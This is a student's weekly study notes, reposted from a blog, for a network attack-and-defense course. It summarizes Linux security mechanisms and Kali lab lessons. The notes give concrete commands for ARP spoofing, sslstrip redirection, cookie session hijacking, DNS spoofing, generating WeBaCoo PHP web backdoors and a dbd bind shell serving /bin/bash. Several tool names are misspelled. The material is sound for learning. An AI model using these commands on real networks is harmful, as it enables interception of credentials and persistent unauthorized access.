2017-2018-2 20179204《网络攻防实践》第八周学习总结
第1節(jié) 教材學(xué)習(xí)內(nèi)容總結(jié)
本周學(xué)習(xí)了教材第八章的內(nèi)容。
1.1 linux操作系統(tǒng)基本框架概述
發(fā)展出眾多操作系統(tǒng)發(fā)行版:ubuntu、debian、fedora、centos、rhel、opensuse和stackware等。
優(yōu)勢
開放源代碼與免費跨平臺的硬件支持豐富的軟件支持多用戶多任務(wù)可靠的安全性良好的穩(wěn)定性完善的網(wǎng)絡(luò)功能linux系統(tǒng)結(jié)構(gòu)(課本圖8-1)
Linux進程與線程管理機制Linux內(nèi)存管理機制Linux文件系統(tǒng)管理機制Linux設(shè)備控制機制Linux網(wǎng)絡(luò)機制Linux系統(tǒng)調(diào)用機制
1.2 linux操作系統(tǒng)安全機制
linux操作系統(tǒng)的核心安全機制主要是身份認證、授權(quán)與訪問控制、安全審計三個部分。
linux身份認證
linux用戶(root根用戶、普通用戶、系統(tǒng)用戶)linux用戶組(具有相同特征的用戶賬號集合)linux本地登錄用戶認證機制(控制臺)linux遠程登錄用戶認證機制(ssh服務(wù))Linux的統(tǒng)一身份認證中間件——PAM(可插入身份認證模塊)linux授權(quán)與訪問控制
文件所有者(chown命令)文件的訪問權(quán)限(讀、寫、執(zhí)行,chmod命令)文件的特殊執(zhí)行權(quán)限Linux訪問控制機制的不足與改進linux安全審計
主要通過三個主要的日志子系統(tǒng)來實現(xiàn)(p284 表8-1):
連接時間日志進程統(tǒng)計日志錯誤日志記錄1.3 linux系統(tǒng)遠程攻防技術(shù)
- linux遠程口令字猜測攻擊
1)針對ssh、telnet、ftp、http等服務(wù)的口令猜測攻擊是互聯(lián)網(wǎng)所面臨的攻陷系統(tǒng)最普遍的攻擊模式。
2)自動化遠程口令猜測工具(brutus、thc hydra、cain and abel) p286
3)最佳防御措施:使用不宜猜中的強口令字
- linux網(wǎng)絡(luò)服務(wù)遠程滲透攻擊
最重要的攻擊渠道——對監(jiān)聽網(wǎng)絡(luò)服務(wù)安全漏洞的滲透利用。
Linux網(wǎng)絡(luò)服務(wù)的遠程滲透攻擊Linux內(nèi)核中的網(wǎng)絡(luò)協(xié)議棧實現(xiàn)LAMP Web網(wǎng)站構(gòu)建解決方案中的網(wǎng)絡(luò)服務(wù)FTP、Samba等文件共享服務(wù)電子郵件收發(fā)服務(wù)其他網(wǎng)絡(luò)服務(wù)安全防范措施:
禁用所有不必要的網(wǎng)絡(luò)服務(wù)盡量選擇更安全的網(wǎng)絡(luò)協(xié)議與服務(wù)軟件,并使用最佳安全實踐進行部署及時更新網(wǎng)絡(luò)服務(wù)版本使用xinetd、防火墻為linux網(wǎng)絡(luò)服務(wù)添加網(wǎng)絡(luò)訪問控制機制建立入侵檢測與應(yīng)急響應(yīng)計劃流程攻擊Linux客戶端程序和用戶
及時更新常用的網(wǎng)絡(luò)客戶端軟件自身安全意識、經(jīng)驗與心智能力
安全防范措施:攻擊Linux路由器和監(jiān)聽器
攻擊linux路由器與防火墻攻擊監(jiān)聽器&入侵檢測器(libpcap抓包庫、tcpdump命令行程序、wireshark網(wǎng)絡(luò)監(jiān)聽與協(xié)議分析軟件、snort入侵檢測系統(tǒng))
1.4 linux系統(tǒng)本地安全攻防技術(shù)
linux本地特權(quán)提升
linux用戶口令字破解利用sudo的缺陷進行特權(quán)提升利用用戶態(tài)SUID程序漏洞進行特權(quán)提升針對SUID程序的本地緩沖區(qū)溢出攻擊針對SUID程序的符號鏈接攻擊針對SUID程序的競爭條件攻擊針對SUID程序的共享函數(shù)庫攻擊利用內(nèi)核空間代碼漏洞進行特權(quán)提升利用系統(tǒng)配置不當(dāng)實施本地特權(quán)提升linux系統(tǒng)上的消蹤滅跡
清理系統(tǒng)上的日志記錄,從而有效地抹掉自己的行動蹤跡。
- linux系統(tǒng)遠程控制后門程序
linux系統(tǒng)上植入遠程控制后門程序的類型有:特洛伊木馬化的系統(tǒng)程序、命令行后門工具以及圖形化后門工具。
第2節(jié) 網(wǎng)絡(luò)攻防環(huán)境的搭建與測試
linux攻擊機10.43.43.72 linux靶機10.43.33.155win攻擊機10.43.33.108 win靶機10.43.32.208基于蜜網(wǎng)的攻防環(huán)境搭建見2017-2018-2 20179204《網(wǎng)絡(luò)攻防實踐》第二周學(xué)習(xí)總結(jié) 第3節(jié) 教材學(xué)習(xí)實踐。
第3節(jié) kali視頻(31-35)學(xué)習(xí)
31.Kali漏洞利用之SET
Social Engineering Toolkit(SET)是一個開源、Python驅(qū)動的社會工程學(xué)滲透測試工具。提供了非常豐富的攻擊向量庫。是開源的社會工程學(xué)利用套件,通常結(jié)合metasploit來使用。
- 命令行下輸入setoolkit打開SET套件
菜單選項1是社會工程學(xué)攻擊,輸入1回車,可以看到相應(yīng)模塊
1)魚叉式釣魚攻擊(Spear-Phishing Attack Vectors)2)網(wǎng)站攻擊(Website Attack Vectors)3)介質(zhì)感染攻擊(Infectious Media Generator)4)創(chuàng)建Payload并監(jiān)聽(Create a Payload and Listener)5)群發(fā)郵件攻擊(Mass Mailer Attack)6)基于Arduino的攻擊(Arduino-Based Attack Vector)7)無線接入點攻擊(Wireless Access Point Attack Vector)8)二維碼攻擊(QRCode Generator Attack Vector)9)powershell攻擊(Powershell Attack Vectors)10)短信欺騙攻擊(SMS Spoofing Attack Vector)11)第三方模塊(Third Party Modules)魚叉式釣魚攻擊
此攻擊向量主要目的為發(fā)送存在惡意軟件的釣魚郵件。
相應(yīng)的Payload可以選擇不同的漏洞。
- 網(wǎng)站攻擊框架
此時可以開放一個WEBSever服務(wù),如果對方訪問此頁面,若系統(tǒng)存在漏洞觸發(fā)條件,則會被植入后門。
如Java Applet Attack方法就是需要目標(biāo)有Java運行環(huán)境,為了仿真,可以選擇自建模板或克隆一個網(wǎng)站。
介質(zhì)感染攻擊:借助Autorun.inf執(zhí)行Exploit得到一個返回的shell,也可以結(jié)合Metasploit的后門。
創(chuàng)建Payload和監(jiān)聽器listener
群發(fā)郵件攻擊:支持導(dǎo)入列表并向列表中的每個人發(fā)送郵件。
基于Andruino的攻擊
無線接入點攻擊(Wireless Access Point Attack Vector):無線接入點攻擊會創(chuàng)建一個虛擬無線AP,通過接入點ap可以抓取所有連接進來的設(shè)備流量。
二維碼攻擊(QRCode Generator Attack Vector):填入一個危險的URL,使得被攻擊者掃描二維碼自動訪問頁面而中招。
- powershell攻擊(Powershell Attack Vectors):針對vista以上的攻擊模塊。
短信欺騙攻擊(SMS Spoofing Attack Vector):偽造短信的來源。
第三方模塊(Third Party Modules)
32.Kali嗅探欺騙與中間人攻擊
Linux下的中間人攻擊套路都是一樣的,這里介紹進行ARP欺騙、DNS欺騙和嗅探以及會話劫持(cookies)的方法。
為kali設(shè)置開啟端口轉(zhuǎn)發(fā)
echo 1 > /proc/sys/net/ipv4/ip_forward設(shè)置ssltrip
為了劫持ssl數(shù)據(jù),需要使https數(shù)據(jù)變?yōu)閔ttp:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081- 讓sslstrip在8081端口監(jiān)聽:ssltrip -l 8081
ettercap
ettercap是一套用于中間人攻擊的工具。和dsniff套件齊名。支持插件和過濾腳本,直接將賬號、密碼顯示出來,不用人工提取數(shù)據(jù)。如果是第一次中間人攻擊操作,那么要對kali下的etteracp做點配置。
1)配置文件是/etc/ettercap/etter.conf,首先要將ec_uid、ec_gid都變?yōu)?。
2)然后找到linux分類下的if you use iptables這一行,將下面兩行的注釋(“#”號)去掉,打開轉(zhuǎn)發(fā)。
3)打開圖形化界面 ettercap -G
4)選擇嗅探網(wǎng)卡 默認eth0
5)Ettercap使用
打開ettercap,選擇hosts選項:先scan for hosts,等掃描完了選host list。
將網(wǎng)關(guān)add to target 1/想攻擊的目標(biāo)add to target 2,mitm選項卡arppoisoning,然后start sniffing。
靶機:
當(dāng)同處一個局域網(wǎng)的受害者訪問網(wǎng)頁,進行登錄時,它的密碼就被記錄了,不安全的連接。
查看被監(jiān)聽主機之間的所有連接信息,依次點擊View--Connections。
- Dsniff套裝介紹
Dsniff套裝主要是arpspoof和dsniff,前者用來進行arp欺騙,后者用于嗅探。進行攻擊步驟如下:
1)進行arp欺騙
arpspoof [-i interface(網(wǎng)卡)] [-c own|host|both(欺騙方式,通常是both)] [-t target(目標(biāo))] [-r] host(網(wǎng)關(guān))
2)進行嗅探
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打開半雙工TCP流,允許在使用arpspoof時進行正確的嗅探操作;-d啟動調(diào)試模式;-f以/etc/service格式從文件中加載觸發(fā)器(也就是口令嗅探的服務(wù)類型);-I使用特定的網(wǎng)絡(luò)接口;-m使用dsniff.magic文件通過在magic文件中定義的特征嘗試自動判斷協(xié)議;-n不執(zhí)行主機查找;-r從前面保存的會話中讀取被嗅探的數(shù)據(jù);-s最多對報文的前個字節(jié)進行嗅探,如果用戶名和口令信息包含在隨后的默認1024字節(jié)界限中;-t使用格式port/proto=servise;來加載一個以逗號界定的觸發(fā)器集;- 會話劫持
這里主要以cookies進行舉例,說明會話劫持的用法。
1)開始arp欺騙:arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
2)捕獲數(shù)據(jù)報:tcpdump -i wlan -w test.cap
等一段時間,估計目標(biāo)會登錄網(wǎng)站了,我們開始處理捕獲的數(shù)據(jù)包:forret -r test.cap。
3)如果捕獲的數(shù)據(jù)包沒什么問題,而且確定開啟了端口轉(zhuǎn)發(fā),那么經(jīng)過處理的數(shù)據(jù)包會自動生成hamster.txt
接下來運行hamster hamster,會提示瀏覽器設(shè)置代理為http://127.0.0.1:1234
4)接著在瀏覽器中代開hamster:http://hamster
選擇目標(biāo)和可能的登錄認證地址,然后點擊鏈接會發(fā)現(xiàn)劫持成功。
- 圖片截獲
利用Driftnet這款工具我們可以看到受害人在訪問網(wǎng)站的圖片。
首先依然使用arpspoof啟動arp欺騙,然后啟動driftnet:driftent -i。
此時彈出一個小窗口,當(dāng)目標(biāo)訪問有圖片的網(wǎng)站的時候,攻擊者就能在這個小窗口看到。
- DNS欺騙
利用Dsniff套裝中的dnsspoof或者ettercap的dnsspoof插件,我們可以完成對受害者的dns欺騙。
1)在開始欺騙前,首先我們要編輯一個自己的hosts文件,放在方便訪問的地方。內(nèi)容和本機自帶的hosts內(nèi)容差不多,只是把你想欺騙的域名和想要欺騙到哪里的地址寫好(通常是攻擊者指定的服務(wù)器,用來執(zhí)行瀏覽器溢出或者java applet攻擊,用來獲取受害者的計算機訪問權(quán)限)
2)host文件:127.0.0.1 www.baidu.com。上面是一個hosts文件示例,把百度定向到了本機。我們把它保存成hosts,位于/root目錄下。
3)然后啟動dnsspoof:dnsspoof -i wlan0 -f /root/hosts,等受害者訪問百度觀察效果。
- URL監(jiān)控
利用Dsniff套裝中的urlsnarf工具,我們對TCP80、3128、8080端口的HTTP通信進行解析,并且可以將嗅探到的所有HTTP請求轉(zhuǎn)存為通用日志格式(Common Log Format,CLF),這種格式是許多Web服務(wù)器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具來分析記錄結(jié)果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
- 下載軟件監(jiān)控
利用Dsniff套裝中的filesnarf工具,我們可以從嗅探到的NFS通信中,選定某個文件,轉(zhuǎn)存到本地當(dāng)前工作目錄。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
33.Kali權(quán)限維持之后門
權(quán)限維持包含Tunnel工具集、Web后門、系統(tǒng)后門三個子類。其中系統(tǒng)后門與web后門統(tǒng)稱后門,都是為滲透測試后,為方便再次進入系統(tǒng)而留下的惡意程序。
- Weevely
Weevely是一款使用python編寫的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php)。
1)生成后門
2)上傳后門,使用weevely連接。
- WeBaCoo
WeBaCoo(Web Backdoor Cookie)script-kit是一個小巧的、隱蔽的php后門,它提供了一個可以連接遠程web服務(wù)器并執(zhí)行php代碼的終端。WeBaCoo使用HTTP響應(yīng)頭傳送命令結(jié)果,shell命令經(jīng)base64編碼后隱藏在Cookie頭中。
1)生成后門webacoo -g -o ~/2.php
2)連接后門webacoo -t -u http://xxx.xxx.xxx.xxx/2.php。
通過加入“:”執(zhí)行本地命令,不加則借助webshell執(zhí)行命令。
- dbd
加密版的nc
監(jiān)聽端:dbd -l -p 2333 -e /bin/bash -k password
連接端:dbd 127.0.0.1 2333 -k password
sbd
U3-Pwn
與Metasploit Payload結(jié)合使用工具,從菜單可以單刀多針對移動設(shè)備如光驅(qū)鏡像、U盤等。
- Intersect
1)使用“2”列出可以使用的模塊
2)創(chuàng)建后門腳本使用“1”,自由添加功能組件,生成shell。
3)綁定
4)連接:nc nvv 127.0.0.1 5555
34.Kali權(quán)限維持之Tunnel
權(quán)限維持包含Tunnel工具集、Web后門、系統(tǒng)后門三個子類。Tunnel工具集包含了一系列用于創(chuàng)建通信隧道、代理的工具。
cryptcat
DNS2TCP
什么是DNS Tunnel?原理是什么?
- Miredo
Miredo是一個網(wǎng)絡(luò)工具,主要用于BSD和Linux的IPV6 Teredo隧道鏈接,可以轉(zhuǎn)換不支持IPV6的網(wǎng)絡(luò)連接IPV6,內(nèi)核中需要有IPV6和TUN隧道支持。
- Proxytunnel
Proxytunnel可通過標(biāo)準(zhǔn)的HTTPS代理來連接遠程服務(wù)器,這是一個代理,實現(xiàn)了橋接的功能。特別用于通過SSH進行HTTP(S)傳輸。
- ptunnel
借助icmp數(shù)據(jù)包建立隧道通信。
- pwnat
內(nèi)網(wǎng)下通過udp通信。
- socat
可以在不同協(xié)議上進行轉(zhuǎn)發(fā)數(shù)據(jù)。
- sslh
是一個ssl/ssh端口復(fù)用工具,sslh可以在同一個端口上接受https,ssh和openvpn連接,這使得通過443端口連接ssh服務(wù)器或者openvpn服務(wù)同時在該端口上提供https服務(wù)成為可能,sslh可以作為一個研究端口復(fù)用的例子。
35.Kali逆向工程工具
逆向工程是根據(jù)已有的東西和結(jié)果,通過分析來推導(dǎo)出具體的實現(xiàn)辦法。比如看到別人寫的某個exe程序能夠做出某種漂亮的動畫效果,你通過反匯編、反編譯和動態(tài)跟蹤等方法,分析出其動畫效果的實現(xiàn)過程,這種行為就是逆向工程:不僅僅是反編譯,而且還要推導(dǎo)出設(shè)計,并且文檔化,逆向軟件工程的目的是使軟件得以維護。
- edb-debugger
圖形化界面,基于qt4開發(fā)的二進制調(diào)試工具,主要是為了跟ollydbg工具看齊,通過插件體系可進行功能的擴充。
- Ollydbg
- Jad——一個Java反編譯工具
- Radare2
radare2是一款開放源代碼的逆向工程平臺,它可以反匯編、調(diào)試、分析和操作二進制文件。
- Recstudio——反編譯工具
- Apktool
APKTool是google提供的APK編譯工具,能夠反編譯及回編譯apk,同時安裝反編譯系統(tǒng)apk所需要的framewo-res框架。
- Clang 、Clang++
Clang是一個C怨言、C++、Objective C、Objective C++語言的輕量級編譯器。
- D2j-dex2jar
反編譯dex文件到j(luò)ar文件,進而可以用其他工具查看源代碼。
- Flasm
flasm主要功能是用于直接修改swf文件里的腳本actionscript。
- Javasnoop
Javasnoop是一個java應(yīng)用程序安全測試工具,它允許你以攔截的方法,篡改數(shù)據(jù)和hack運行在你計算機上的java應(yīng)用程序。通常在沒有源代碼的情況下,測試java客戶端的安全性最好的結(jié)果是不可預(yù)知的,最壞的結(jié)果是不切實際的。
轉(zhuǎn)載于:https://www.cnblogs.com/20179204gege/p/8941525.html
總結(jié)
以上是生活随笔為你收集整理的2017-2018-2 20179204《网络攻防实践》第八周学习总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java程序(类的抽象与封装)
- 下一篇: 计算递归函数理解